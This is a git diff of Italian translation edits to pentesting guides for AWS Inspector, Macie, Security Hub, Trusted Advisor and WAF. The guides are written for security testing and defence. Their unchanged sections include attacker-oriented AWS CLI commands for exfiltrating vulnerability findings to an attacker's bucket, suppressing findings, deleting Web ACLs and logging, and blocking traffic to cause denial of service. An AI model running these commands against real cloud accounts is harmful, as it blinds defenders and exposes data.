aperte, protocolli di rete insicuri e gruppi di sicurezza mal configurati. @@ -30,19 +30,19 @@ I filtri e le regole di soppressione in Amazon Inspector aiutano a gestire e dar #### Software Bill of Materials (SBOM) -Un Software Bill of Materials (SBOM) in Amazon Inspector è un elenco di inventario annidato esportabile che dettaglia tutti i componenti all'interno di un pacchetto software, comprese librerie e dipendenze. Gli SBOM aiutano a fornire trasparenza nella catena di fornitura del software, consentendo una migliore gestione delle vulnerabilità e conformità. Sono cruciali per identificare e mitigare i rischi associati ai componenti software open source e di terze parti. +Una Software Bill of Materials (SBOM) in Amazon Inspector è un elenco di inventario annidato esportabile che dettaglia tutti i componenti all'interno di un pacchetto software, incluse librerie e dipendenze. Le SBOM aiutano a fornire trasparenza nella catena di fornitura del software, consentendo una migliore gestione delle vulnerabilità e conformità. Sono cruciali per identificare e mitigare i rischi associati a componenti software open source e di terze parti. ### Key features #### Export findings -Amazon Inspector offre la possibilità di esportare i risultati in Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, il che ti consente di generare rapporti dettagliati sulle vulnerabilità e le esposizioni identificate per ulteriori analisi o condivisione in una data e ora specifiche. Questa funzionalità supporta vari formati di output come CSV e JSON, rendendo più facile l'integrazione con altri strumenti e sistemi. La funzionalità di esportazione consente la personalizzazione dei dati inclusi nei rapporti, consentendoti di filtrare i risultati in base a criteri specifici come gravità, tipo di risorsa o intervallo di date e includendo per impostazione predefinita tutti i tuoi risultati nella regione AWS corrente con uno stato Attivo. +Amazon Inspector offre la possibilità di esportare i risultati in Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, il che ti consente di generare rapporti dettagliati delle vulnerabilità e delle esposizioni identificate per ulteriori analisi o condivisione in una data e ora specifiche. Questa funzionalità supporta vari formati di output come CSV e JSON, facilitando l'integrazione con altri strumenti e sistemi. La funzionalità di esportazione consente la personalizzazione dei dati inclusi nei rapporti, consentendoti di filtrare i risultati in base a criteri specifici come gravità, tipo di risorsa o intervallo di date e includendo per impostazione predefinita tutti i tuoi risultati nella regione AWS corrente con uno stato Attivo. Quando si esportano i risultati, è necessario una chiave del Key Management Service (KMS) per crittografare i dati durante l'esportazione. Le chiavi KMS garantiscono che i risultati esportati siano protetti da accessi non autorizzati, fornendo un ulteriore livello di sicurezza per le informazioni sensibili sulle vulnerabilità. #### Amazon EC2 instances scanning -Amazon Inspector offre robuste capacità di scansione per le istanze Amazon EC2 per rilevare vulnerabilità e problemi di sicurezza. Inspector confronta i metadati estratti dall'istanza EC2 con le regole delle avvertenze di sicurezza per produrre vulnerabilità dei pacchetti e problemi di raggiungibilità della rete. Queste scansioni possono essere eseguite tramite metodi **basati su agenti** o **senza agenti**, a seconda della configurazione delle impostazioni **modalità di scansione** del tuo account. +Amazon Inspector offre robuste capacità di scansione per le istanze Amazon EC2 per rilevare vulnerabilità e problemi di sicurezza. Inspector confronta i metadati estratti dall'istanza EC2 con le regole delle avvertenze di sicurezza per produrre vulnerabilità dei pacchetti e problemi di raggiungibilità della rete. Queste scansioni possono essere eseguite tramite metodi **agent-based** o **agentless**, a seconda della configurazione delle impostazioni di **scan mode** del tuo account. - **Agent-Based**: Utilizza l'agente AWS Systems Manager (SSM) per eseguire scansioni approfondite. Questo metodo consente una raccolta e analisi dei dati completa direttamente dall'istanza. - **Agentless**: Fornisce un'alternativa leggera che non richiede l'installazione di un agente sull'istanza, creando uno snapshot EBS di ogni volume dell'istanza EC2, cercando vulnerabilità e poi eliminandolo; sfruttando l'infrastruttura AWS esistente per la scansione. @@ -50,9 +50,9 @@ Amazon Inspector offre robuste capacità di scansione per le istanze Amazon EC2 La modalità di scansione determina quale metodo sarà utilizzato per eseguire le scansioni EC2: - **Agent-Based**: Comporta l'installazione dell'agente SSM sulle istanze EC2 per un'ispezione approfondita. -- **Hybrid Scanning**: Combina metodi sia basati su agenti che senza agenti per massimizzare la copertura e minimizzare l'impatto sulle prestazioni. In quelle istanze EC2 in cui è installato l'agente SSM, Inspector eseguirà una scansione basata su agenti, e per quelle in cui non c'è l'agente SSM, la scansione eseguita sarà senza agenti. +- **Hybrid Scanning**: Combina metodi agent-based e agentless per massimizzare la copertura e minimizzare l'impatto sulle prestazioni. In quelle istanze EC2 dove è installato l'agente SSM, Inspector eseguirà una scansione agent-based, e per quelle dove non c'è l'agente SSM, la scansione eseguita sarà agentless. -Un'altra caratteristica importante è l'**ispezione approfondita** per le istanze EC2 Linux. Questa funzionalità offre un'analisi approfondita del software e della configurazione delle istanze EC2 Linux, fornendo valutazioni dettagliate delle vulnerabilità, comprese le vulnerabilità del sistema operativo, le vulnerabilità delle applicazioni e le configurazioni errate, garantendo una valutazione completa della sicurezza. Questo viene realizzato attraverso l'ispezione di **percorsi personalizzati** e di tutte le sue sottodirectory. Per impostazione predefinita, Amazon Inspector eseguirà la scansione dei seguenti percorsi, ma ogni account membro può definire fino a 5 percorsi personalizzati in più, e ogni amministratore delegato fino a 10: +Un'altra caratteristica importante è l'**ispezione approfondita** per le istanze Linux EC2. Questa funzione offre un'analisi approfondita del software e della configurazione delle istanze Linux EC2, fornendo valutazioni dettagliate delle vulnerabilità, incluse vulnerabilità del sistema operativo, vulnerabilità delle applicazioni e mal configurazioni, garantendo una valutazione completa della sicurezza. Questo viene realizzato attraverso l'ispezione di **custom paths** e di tutte le sue sottodirectory. Per impostazione predefinita, Amazon Inspector scansionerà i seguenti, ma ogni account membro può definire fino a 5 percorsi personalizzati aggiuntivi, e ogni amministratore delegato fino a 10: - `/usr/lib` - `/usr/lib64` @@ -63,21 +63,21 @@ Un'altra caratteristica importante è l'**ispezione approfondita** per le istanz Amazon Inspector fornisce robuste capacità di scansione per le immagini dei container di Amazon Elastic Container Registry (ECR), garantendo che le vulnerabilità dei pacchetti siano rilevate e gestite in modo efficiente. -- **Basic Scanning**: Questa è una scansione rapida e leggera che identifica le vulnerabilità dei pacchetti OS noti nelle immagini dei container utilizzando un insieme standard di regole del progetto open-source Clair. Con questa configurazione di scansione, i tuoi repository saranno scansionati al momento del push o eseguendo scansioni manuali. +- **Basic Scanning**: Questa è una scansione rapida e leggera che identifica vulnerabilità note dei pacchetti OS nelle immagini dei container utilizzando un insieme standard di regole dal progetto open-source Clair. Con questa configurazione di scansione, i tuoi repository saranno scansionati al momento del push o eseguendo scansioni manuali. - **Enhanced Scanning**: Questa opzione aggiunge la funzionalità di scansione continua oltre alla scansione al momento del push. La scansione avanzata approfondisce i livelli di ogni immagine del container per identificare vulnerabilità nei pacchetti OS e nei pacchetti dei linguaggi di programmazione con maggiore precisione. Analizza sia l'immagine di base che eventuali livelli aggiuntivi, fornendo una visione completa dei potenziali problemi di sicurezza. #### Amazon Lambda functions scanning Amazon Inspector include capacità di scansione complete per le funzioni AWS Lambda e i suoi livelli, garantendo la sicurezza e l'integrità delle applicazioni serverless. Inspector offre due tipi di scansione per le funzioni Lambda: -- **Lambda standard scanning**: Questa funzionalità predefinita identifica le vulnerabilità software nelle dipendenze del pacchetto dell'applicazione aggiunte alla tua funzione Lambda e ai livelli. Ad esempio, se la tua funzione utilizza una versione di una libreria come python-jwt con una vulnerabilità nota, genera un risultato. -- **Lambda code scanning**: Analizza il codice dell'applicazione personalizzata per problemi di sicurezza, rilevando vulnerabilità come difetti di iniezione, perdite di dati, crittografia debole e mancanza di crittografia. Cattura frammenti di codice evidenziando le vulnerabilità rilevate, come credenziali hardcoded. I risultati includono suggerimenti dettagliati per la risoluzione e frammenti di codice per risolvere i problemi. +- **Lambda standard scanning**: Questa funzione predefinita identifica vulnerabilità software nelle dipendenze del pacchetto dell'applicazione aggiunte alla tua funzione Lambda e ai livelli. Ad esempio, se la tua funzione utilizza una versione di una libreria come python-jwt con una vulnerabilità nota, genera un risultato. +- **Lambda code scanning**: Analizza il codice dell'applicazione personalizzata per problemi di sicurezza, rilevando vulnerabilità come difetti di iniezione, perdite di dati, crittografia debole e mancanza di crittografia. Cattura frammenti di codice evidenziando le vulnerabilità rilevate, come credenziali hardcoded. I risultati includono suggerimenti dettagliati per la remediation e frammenti di codice per risolvere i problemi. #### **Center for Internet Security (CIS) scans** -Amazon Inspector include scansioni CIS per confrontare i sistemi operativi delle istanze Amazon EC2 con le raccomandazioni delle migliori pratiche del Center for Internet Security (CIS). Queste scansioni garantiscono che le configurazioni aderiscano ai parametri di sicurezza standard del settore. +Amazon Inspector include scansioni CIS per confrontare i sistemi operativi delle istanze Amazon EC2 con le raccomandazioni delle migliori pratiche del Center for Internet Security (CIS). Queste scansioni garantiscono che le configurazioni aderiscano ai baseline di sicurezza standard del settore. -- **Configuration**: Le scansioni CIS valutano se le configurazioni di sistema soddisfano specifiche raccomandazioni del CIS Benchmark, con ogni controllo collegato a un ID di controllo CIS e a un titolo. +- **Configuration**: Le scansioni CIS valutano se le configurazioni di sistema soddisfano specifiche raccomandazioni del CIS Benchmark, con ogni controllo collegato a un ID di controllo e titolo CIS. - **Execution**: Le scansioni vengono eseguite o programmate in base ai tag delle istanze e agli orari definiti. - **Results**: I risultati post-scansione indicano quali controlli sono stati superati, saltati o falliti, fornendo informazioni sulla postura di sicurezza di ciascuna istanza. @@ -185,13 +185,13 @@ aws inspector list-rules-packages ### Post Exploitation > [!TIP] -> Dal punto di vista di un attaccante, questo servizio può aiutare l'attaccante a trovare vulnerabilità e esposizioni di rete che potrebbero aiutarlo a compromettere altre istanze/contenitori. +> Dal punto di vista di un attaccante, questo servizio può aiutare l'attaccante a trovare vulnerabilità ed esposizioni di rete che potrebbero aiutarlo a compromettere altre istanze/contenitori. > > Tuttavia, un attaccante potrebbe anche essere interessato a interrompere questo servizio in modo che la vittima non possa vedere le vulnerabilità (tutte o specifiche). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -Un attaccante potrebbe generare report dettagliati di vulnerabilità o bolle di materiali software (SBOM) ed esfiltrarli dal tuo ambiente AWS. Queste informazioni potrebbero essere sfruttate per identificare debolezze specifiche, software obsoleto o dipendenze insicure, consentendo attacchi mirati. +Un attaccante potrebbe generare report dettagliati di vulnerabilità o fatture dei materiali software (SBOM) ed esfiltrarli dal tuo ambiente AWS. Queste informazioni potrebbero essere sfruttate per identificare debolezze specifiche, software obsoleto o dipendenze insicure, consentendo attacchi mirati. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] @@ -225,7 +225,7 @@ L'esempio seguente mostra come esfiltrare tutte le scoperte attive da Amazon Ins ] } ``` -2. **Crea una chiave Amazon KMS** e allega una politica ad essa affinché possa essere utilizzata dall'Amazon Inspector della vittima: +2. **Crea una chiave Amazon KMS** e allega una policy ad essa in modo che possa essere utilizzata dall'Amazon Inspector della vittima: ```json { "Version": "2012-10-17", @@ -272,11 +272,11 @@ aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` -- **Impatto Potenziale**: Interruzione del monitoraggio della sicurezza e prevenzione della rilevazione e rimedio tempestivi dei problemi di sicurezza. +- **Impatto Potenziale**: Interruzione del monitoraggio della sicurezza e prevenzione della rilevazione e rimedio tempestivi delle problematiche di sicurezza. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -Un attaccante con questi permessi sarebbe in grado di manipolare le regole di filtraggio che determinano quali vulnerabilità e problemi di sicurezza vengono segnalati o soppressi (se l'**azione** è impostata su SUPPRESS, verrebbe creata una regola di soppressione). Questo potrebbe nascondere vulnerabilità critiche agli amministratori della sicurezza, rendendo più facile sfruttare queste debolezze senza rilevamento. Alterando o rimuovendo filtri importanti, un attaccante potrebbe anche creare rumore inondando il sistema con risultati irrilevanti, ostacolando un monitoraggio e una risposta alla sicurezza efficaci. +Un attaccante con questi permessi sarebbe in grado di manipolare le regole di filtraggio che determinano quali vulnerabilità e problematiche di sicurezza vengono segnalate o soppresse (se l'**azione** è impostata su SUPPRESS, verrebbe creata una regola di soppressione). Questo potrebbe nascondere vulnerabilità critiche agli amministratori della sicurezza, rendendo più facile sfruttare queste debolezze senza essere rilevati. Alterando o rimuovendo filtri importanti, un attaccante potrebbe anche creare rumore inondando il sistema con risultati irrilevanti, ostacolando un monitoraggio e una risposta alla sicurezza efficaci. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -291,7 +291,7 @@ aws inspector2 delete-filter --arn Un attaccante potrebbe interrompere significativamente la struttura di gestione della sicurezza. -- Disabilitando l'account admin delegato, l'attaccante potrebbe impedire al team di sicurezza di accedere e gestire le impostazioni e i report di Amazon Inspector. +- Disabilitando l'account admin delegato, l'attaccante potrebbe impedire al team di sicurezza di accedere e gestire le impostazioni e i rapporti di Amazon Inspector. - Abilitando un account admin non autorizzato, un attaccante potrebbe controllare le configurazioni di sicurezza, potenzialmente disabilitando le scansioni o modificando le impostazioni per nascondere attività dannose. > [!WARNING] @@ -347,12 +347,12 @@ aws inspector2 update-organization-configuration --auto-enable --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` -- **Impatto Potenziale**: Nascondere vulnerabilità, interruzione della reportistica di conformità, interruzione dell'automazione della sicurezza e interruzione dell'allocazione dei costi. +- **Impatto Potenziale**: Nascondere le vulnerabilità, interruzione della reportistica di conformità, interruzione dell'automazione della sicurezza e interruzione dell'allocazione dei costi. ## Riferimenti diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 8fdd0c130..8f1edd884 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -107,7 +107,7 @@ aws macie2 list-custom-data-identifiers > Dal punto di vista di un attaccante, questo servizio non è progettato per rilevare l'attaccante, ma per rilevare informazioni sensibili nei file memorizzati. Pertanto, questo servizio potrebbe **aiutare un attaccante a trovare informazioni sensibili** all'interno dei bucket.\ > Tuttavia, forse un attaccante potrebbe anche essere interessato a interromperlo per impedire alla vittima di ricevere avvisi e rubare più facilmente quelle informazioni. -TODO: PRs are welcome! +TODO: PRs sono benvenuti! ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index ad03af9cb..6d7bbd43e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,7 +4,7 @@ ## Security Hub -**Security Hub** raccoglie **dati** di sicurezza da **diversi account AWS**, servizi e prodotti di partner di terze parti supportati e ti aiuta ad **analizzare le tue tendenze di sicurezza** e identificare i problemi di sicurezza con la massima priorità. +**Security Hub** raccoglie **dati** di sicurezza da **diversi account AWS**, servizi e prodotti di partner di terze parti supportati e ti aiuta a **analizzare le tue tendenze di sicurezza** e identificare i problemi di sicurezza di massima priorità. Centralizza **gli avvisi relativi alla sicurezza tra gli account** e fornisce un'interfaccia utente per visualizzarli. La maggiore limitazione è che **non centralizza gli avvisi tra le regioni**, solo tra gli account. @@ -51,7 +51,7 @@ aws securityhub get-members --account-ids ``` ## Bypass Detection -TODO, PR accettati +TODO, PRs accettati ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index 7375b676d..cda5c62e5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -34,7 +34,7 @@ Le funzionalità complete di Trusted Advisor sono accessibili esclusivamente con #### Controlli Principali -Limitati agli utenti senza piani di supporto aziendale o enterprise: +Limitato agli utenti senza piani di supporto aziendale o enterprise: 1. Gruppi di sicurezza - Porte specifiche non limitate 2. Utilizzo di IAM @@ -59,10 +59,10 @@ Un elenco di controlli principalmente focalizzati sull'identificazione e la rett - Controlli dei certificati per CloudFront - Rotazione delle chiavi di accesso IAM (90 giorni) - Esposizione delle chiavi di accesso (ad es., su GitHub) -- Visibilità pubblica di snapshot EBS o RDS +- Visibilità pubblica degli snapshot EBS o RDS - Politiche di password IAM deboli o assenti -AWS Trusted Advisor agisce come uno strumento cruciale per garantire l'ottimizzazione, le prestazioni, la sicurezza e la tolleranza ai guasti dei servizi AWS basati su pratiche consolidate. +AWS Trusted Advisor funge da strumento cruciale per garantire l'ottimizzazione, le prestazioni, la sicurezza e la tolleranza ai guasti dei servizi AWS basati su pratiche consolidate. ## **Riferimenti** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 7a9ebbe41..f802550cf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -25,67 +25,67 @@ Ogni gruppo di regole ha la sua **capacità** associata, che aiuta a calcolare e Una regola definisce un insieme di condizioni che AWS WAF utilizza per ispezionare le richieste web in arrivo. Ci sono due tipi principali di regole: 1. **Regola Normale**: Questo tipo di regola utilizza condizioni specificate per determinare se consentire, bloccare o contare le richieste web. -2. **Regola Basata su Frequenza**: Conta le richieste da un indirizzo IP specifico in un periodo di cinque minuti. Qui, gli utenti definiscono una soglia e, se il numero di richieste da un IP supera questo limite entro cinque minuti, le richieste successive da quell'IP vengono bloccate fino a quando il tasso di richiesta non scende al di sotto della soglia. La soglia minima per le regole basate su frequenza è **2000 richieste**. +2. **Regola Basata su Tasso**: Conta le richieste da un indirizzo IP specifico in un periodo di cinque minuti. Qui, gli utenti definiscono una soglia e, se il numero di richieste da un IP supera questo limite entro cinque minuti, le richieste successive da quell'IP vengono bloccate fino a quando il tasso di richiesta non scende al di sotto della soglia. La soglia minima per le regole basate su tasso è **2000 richieste**. #### Regole Gestite AWS WAF offre set di regole gestite preconfigurati che sono mantenuti da AWS e dai venditori di AWS Marketplace. Questi set di regole forniscono protezione contro minacce comuni e vengono aggiornati regolarmente per affrontare nuove vulnerabilità. -#### Insieme di IP +#### IP Set -Un Insieme di IP è un elenco di indirizzi IP o intervalli di indirizzi IP che desideri consentire o bloccare. Gli insiemi di IP semplificano il processo di gestione delle regole basate su IP. +Un IP Set è un elenco di indirizzi IP o intervalli di indirizzi IP che desideri consentire o bloccare. Gli IP set semplificano il processo di gestione delle regole basate su IP. -#### Insieme di Pattern Regex +#### Regex Pattern Set -Un Insieme di Pattern Regex contiene una o più espressioni regolari (regex) che definiscono i pattern da cercare nelle richieste web. Questo è utile per scenari di corrispondenza più complessi, come il filtraggio di sequenze specifiche di caratteri. +Un Regex Pattern Set contiene una o più espressioni regolari (regex) che definiscono modelli da cercare nelle richieste web. Questo è utile per scenari di corrispondenza più complessi, come il filtraggio di sequenze specifiche di caratteri. -#### Token di Blocco +#### Lock Token -Un Token di Blocco è utilizzato per il controllo della concorrenza quando si apportano aggiornamenti alle risorse WAF. Garantisce che le modifiche non vengano sovrascritte accidentalmente da più utenti o processi che tentano di aggiornare la stessa risorsa simultaneamente. +Un Lock Token è utilizzato per il controllo della concorrenza quando si apportano aggiornamenti alle risorse WAF. Garantisce che le modifiche non vengano sovrascritte accidentalmente da più utenti o processi che tentano di aggiornare la stessa risorsa simultaneamente. -#### Chiavi API +#### API Keys -Le Chiavi API in AWS WAF sono utilizzate per autenticare le richieste a determinate operazioni API. Queste chiavi sono crittografate e gestite in modo sicuro per controllare l'accesso e garantire che solo gli utenti autorizzati possano apportare modifiche alle configurazioni WAF. +Le API Keys in AWS WAF sono utilizzate per autenticare le richieste a determinate operazioni API. Queste chiavi sono crittografate e gestite in modo sicuro per controllare l'accesso e garantire che solo gli utenti autorizzati possano apportare modifiche alle configurazioni WAF. - **Esempio**: Integrazione dell'API CAPTCHA. -#### Politica di Permesso +#### Permission Policy -Una Politica di Permesso è una politica IAM che specifica chi può eseguire azioni sulle risorse AWS WAF. Definendo i permessi, puoi controllare l'accesso alle risorse WAF e garantire che solo gli utenti autorizzati possano creare, aggiornare o eliminare configurazioni. +Una Permission Policy è una policy IAM che specifica chi può eseguire azioni sulle risorse AWS WAF. Definendo le autorizzazioni, puoi controllare l'accesso alle risorse WAF e garantire che solo gli utenti autorizzati possano creare, aggiornare o eliminare configurazioni. -#### Ambito +#### Scope -Il parametro di ambito in AWS WAF specifica se le regole e le configurazioni WAF si applicano a un'applicazione regionale o a una distribuzione Amazon CloudFront. +Il parametro di scope in AWS WAF specifica se le regole e le configurazioni WAF si applicano a un'applicazione regionale o a una distribuzione Amazon CloudFront. -- **REGIONALE**: Si applica a servizi regionali come Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, pool utenti Amazon Cognito, servizio AWS App Runner e istanza AWS Verified Access. Devi specificare la regione AWS in cui si trovano queste risorse. -- **CLOUDFRONT**: Si applica alle distribuzioni Amazon CloudFront, che sono globali. Le configurazioni WAF per CloudFront sono gestite attraverso la regione `us-east-1` indipendentemente da dove viene servito il contenuto. +- **REGIONAL**: Si applica a servizi regionali come Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, pool utenti Amazon Cognito, servizio AWS App Runner e istanza AWS Verified Access. Devi specificare la regione AWS in cui si trovano queste risorse. +- **CLOUDFRONT**: Si applica a distribuzioni Amazon CloudFront, che sono globali. Le configurazioni WAF per CloudFront sono gestite attraverso la regione `us-east-1` indipendentemente da dove viene servito il contenuto. ### Caratteristiche chiave #### Criteri di Monitoraggio (Condizioni) -**Condizioni** specificano gli elementi delle richieste HTTP/HTTPS in arrivo che AWS WAF monitora, che includono XSS, posizione geografica (GEO), indirizzi IP, vincoli di dimensione, iniezione SQL e pattern (corrispondenza di stringhe e regex). È importante notare che **le richieste bloccate a livello di CloudFront in base al paese non raggiungeranno WAF**. +**Condizioni** specificano gli elementi delle richieste HTTP/HTTPS in arrivo che AWS WAF monitora, che includono XSS, posizione geografica (GEO), indirizzi IP, vincoli di dimensione, iniezione SQL e modelli (corrispondenza di stringhe e regex). È importante notare che **le richieste bloccate a livello di CloudFront in base al paese non raggiungeranno WAF**. Ogni account AWS può configurare: -- **100 condizioni** per ciascun tipo (eccetto per Regex, dove sono consentite solo **10 condizioni**, ma questo limite può essere aumentato). +- **100 condizioni** per ogni tipo (eccetto per Regex, dove sono consentite solo **10 condizioni**, ma questo limite può essere aumentato). - **100 regole** e **50 Web ACL**. -- Un massimo di **5 regole basate su frequenza**. +- Un massimo di **5 regole basate su tasso**. - Un throughput di **10.000 richieste al secondo** quando WAF è implementato con un bilanciatore di carico per applicazioni. #### Azioni delle Regole Le azioni sono assegnate a ciascuna regola, con le opzioni che sono: -- **Consenti**: La richiesta viene inoltrata alla distribuzione CloudFront o al bilanciatore di carico per applicazioni appropriato. -- **Blocca**: La richiesta viene terminata immediatamente. -- **Conta**: Conta le richieste che soddisfano le condizioni della regola. Questo è utile per il test delle regole, confermando l'accuratezza della regola prima di impostarla su Consenti o Blocca. -- **CAPTCHA e Sfida:** Viene verificato che la richiesta non provenga da un bot utilizzando puzzle CAPTCHA e sfide silenziose. +- **Allow**: La richiesta viene inoltrata alla distribuzione CloudFront appropriata o al bilanciatore di carico per applicazioni. +- **Block**: La richiesta viene terminata immediatamente. +- **Count**: Conta le richieste che soddisfano le condizioni della regola. Questo è utile per il testing delle regole, confermando l'accuratezza della regola prima di impostarla su Allow o Block. +- **CAPTCHA e Challenge:** Viene verificato che la richiesta non provenga da un bot utilizzando puzzle CAPTCHA e sfide silenziose. -Se una richiesta non corrisponde a nessuna regola all'interno del Web ACL, subisce l'**azione predefinita** (Consenti o Blocca). L'ordine di esecuzione delle regole, definito all'interno di un Web ACL, è cruciale e segue tipicamente questa sequenza: +Se una richiesta non corrisponde a nessuna regola all'interno del Web ACL, subisce l'**azione predefinita** (Allow o Block). L'ordine di esecuzione delle regole, definito all'interno di un Web ACL, è cruciale e segue tipicamente questa sequenza: -1. Consenti IP in Whitelist. -2. Blocca IP in Blacklist. +1. Consenti IP in whitelist. +2. Blocca IP in blacklist. 3. Blocca le richieste che corrispondono a qualsiasi firma dannosa. #### Integrazione con CloudWatch @@ -96,7 +96,7 @@ AWS WAF si integra con CloudWatch per il monitoraggio, offrendo metriche come Al Per interagire con le distribuzioni CloudFront, devi specificare la Regione US East (N. Virginia): -- CLI - Specifica la Regione US East quando utilizzi l'ambito CloudFront: `--scope CLOUDFRONT --region=us-east-1`. +- CLI - Specifica la Regione US East quando utilizzi lo scope CloudFront: `--scope CLOUDFRONT --region=us-east-1`. - API e SDK - Per tutte le chiamate, utilizza l'endpoint della Regione us-east-1. Per interagire con i servizi regionali, dovresti specificare la regione: @@ -192,7 +192,7 @@ aws wafv2 get-mobile-sdk-release --platform --release-version > > Tuttavia, un attaccante potrebbe anche essere interessato a interrompere questo servizio in modo che i siti web non siano protetti dal WAF. -In molte delle operazioni di Eliminazione e Aggiornamento sarebbe necessario fornire il **lock token**. Questo token è utilizzato per il controllo della concorrenza sulle risorse, garantendo che le modifiche non vengano sovrascritte accidentalmente da più utenti o processi che tentano di aggiornare la stessa risorsa simultaneamente. Per ottenere questo token, è possibile eseguire le corrispondenti operazioni di **list** o **get** sulla risorsa specifica. +In molte delle operazioni di Eliminazione e Aggiornamento sarebbe necessario fornire il **lock token**. Questo token è utilizzato per il controllo della concorrenza sulle risorse, garantendo che le modifiche non vengano sovrascritte accidentalmente da più utenti o processi che tentano di aggiornare la stessa risorsa simultaneamente. Per ottenere questo token, potresti eseguire le corrispondenti operazioni di **list** o **get** sulla risorsa specifica. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** @@ -244,8 +244,8 @@ Il file **rule.json** apparirebbe così: Con questi permessi, un attaccante sarebbe in grado di: - Creare un nuovo Web ACL, introducendo regole che consentono il traffico malevolo o bloccano il traffico legittimo, rendendo di fatto il WAF inutile o causando una negazione del servizio. -- Aggiornare i Web ACL esistenti, potendo modificare le regole per consentire attacchi come SQL injection o cross-site scripting, che erano precedentemente bloccati, o interrompere il normale flusso di traffico bloccando richieste valide. -- Eliminare un Web ACL, lasciando le risorse interessate completamente scoperte, esponendole a un'ampia gamma di attacchi web. +- Aggiornare Web ACL esistenti, potendo modificare le regole per consentire attacchi come SQL injection o cross-site scripting, che erano precedentemente bloccati, o interrompere il normale flusso di traffico bloccando richieste valide. +- Eliminare un Web ACL, lasciando le risorse interessate completamente non protette, esponendole a un'ampia gamma di attacchi web. > [!NOTE] > Puoi eliminare il **WebACL** specificato solo se **ManagedByFirewallManager** è falso. @@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -I seguenti esempi mostrano come aggiornare un Web ACL per bloccare il traffico legittimo da un set di IP specifico. Se l'IP di origine non corrisponde a nessuno di quegli IP, l'azione predefinita sarebbe anch'essa quella di bloccarlo, causando un DoS. +I seguenti esempi mostrano come aggiornare un Web ACL per bloccare il traffico legittimo da un set di IP specifico. Se l'IP di origine non corrisponde a nessuno di quegli IP, l'azione predefinita sarebbe comunque quella di bloccarlo, causando un DoS. **Web ACL originale**: ```json @@ -337,14 +337,14 @@ Il permesso **`wafv2:AssociateWebACL`** consentirebbe a un attaccante di associa I permessi aggiuntivi sarebbero necessari a seconda del tipo di risorsa protetta: -- **Associare** +- **Associate** - apigateway:SetWebACL - apprunner:AssociateWebAcl - appsync:SetWebACL - cognito-idp:AssociateWebACL - ec2:AssociateVerifiedAccessInstanceWebAcl - elasticloadbalancing:SetWebAcl -- **Disassociare** +- **Disassociate** - apigateway:SetWebACL - apprunner:DisassociateWebAcl - appsync:SetWebACL @@ -378,11 +378,11 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a #### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -Un attaccante con questi permessi sarebbe in grado di manipolare i set di pattern di espressioni regolari utilizzati da AWS WAF per controllare e filtrare il traffico in entrata in base a specifici modelli. +Un attaccante con questi permessi sarebbe in grado di manipolare i set di pattern di espressione regolare utilizzati da AWS WAF per controllare e filtrare il traffico in entrata in base a pattern specifici. - Creare nuovi pattern regex aiuterebbe un attaccante a consentire contenuti dannosi - Aggiornando i pattern esistenti, un attaccante potrebbe eludere le regole di sicurezza -- Eliminare pattern progettati per bloccare attività dannose potrebbe consentire a un attaccante di inviare payload dannosi ed eludere le misure di sicurezza. +- Eliminare pattern progettati per bloccare attività dannose potrebbe consentire a un attaccante di inviare payload dannosi e eludere le misure di sicurezza. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -395,13 +395,13 @@ aws wafv2 delete-regex-pattern-set --name --scope [!NOTE] > È possibile definire solo una destinazione di logging per ogni web ACL. @@ -411,7 +411,7 @@ aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` -**Impatto Potenziale:** Oscurare la visibilità sugli eventi di sicurezza, rendere difficile il processo di risposta agli incidenti e facilitare attività malevole occulte all'interno degli ambienti protetti da AWS WAF. +**Impatto 